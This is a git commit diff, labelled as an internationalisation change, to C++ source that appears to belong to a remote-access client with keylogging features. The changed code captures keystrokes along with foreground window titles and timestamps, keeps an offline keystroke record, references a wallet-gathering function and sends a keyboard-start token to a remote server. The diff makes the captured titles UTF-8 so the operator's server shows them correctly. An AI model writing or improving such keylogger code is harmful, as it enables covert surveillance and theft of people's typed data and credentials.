i18n: UTF-8 protocol capability + Unicode rendering on server

This commit is contained in:
yuanyuanxiang
2026-05-06 16:01:16 +02:00
parent 11434653e9
commit 0aa75882d1
11 changed files with 361 additions and 40 deletions

View File

@@ -63,9 +63,34 @@ private:
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
// 用 W 接口取标题,再转 UTF-8避免依赖客户端系统 ANSI 代码页
wchar_t wTitle[256] = { 0 };
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
if (wTitle[0] == L'\0')
return std::string();
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
if (u8len <= 1)
return std::string();
// 协议字段 ActiveWnd[512]UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
std::string out(u8len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
if (out.size() >= 511) {
out.resize(511);
// 回退到上一个完整 UTF-8 码点起始
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
out.pop_back();
if (!out.empty()) {
unsigned char lead = static_cast<unsigned char>(out.back());
int need = (lead & 0x80) == 0 ? 1
: (lead & 0xE0) == 0xC0 ? 2
: (lead & 0xF0) == 0xE0 ? 3
: (lead & 0xF8) == 0xF0 ? 4 : 0;
if (need == 0) out.pop_back();
}
}
return out;
}
DWORD GetLastInputTime()

View File

@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
SAFE_CLOSE_HANDLE(m_hClipboard);
SAFE_CLOSE_HANDLE(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hSendThread);
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
if (m_bIsOfflineRecord) {
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
}
delete m_Buffer;
Mprintf("~CKeyboardManager1: Stop %p\n", this);
}
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}

View File

@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
LPBYTE szBuffer = *(LPBYTE*)lParam;
char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle));
//得到系统传递进来的窗口句柄的窗口标题
GetWindowText(hWnd, szTitle, sizeof(szTitle));
// 用 W 接口取标题再转 UTF-8 写入 szTitle避免依赖客户端 CP_ACP
// 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
wchar_t wTitle[1024] = {};
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
szTitle, sizeof(szTitle), NULL, NULL);
}
//这里判断 窗口是否可见 或标题为空
BOOL m_bShowHidden = TRUE;
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {

View File

@@ -94,9 +94,17 @@ int Save(int key_stroke)
}
if (foreground) {
// 用 W 接口取标题再转 UTF-8避免依赖客户端系统 ANSI 代码页:
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP中文机=GBK
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252
char window_title[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextA);
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
wchar_t wTitle[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextW);
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
window_title, MAX_PATH, NULL, NULL);
}
if (strcmp(window_title, lastwindow) != 0) {
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
@@ -107,7 +115,7 @@ int Save(int key_stroke)
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
s.wHour, s.wMinute, s.wSecond);
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
}
}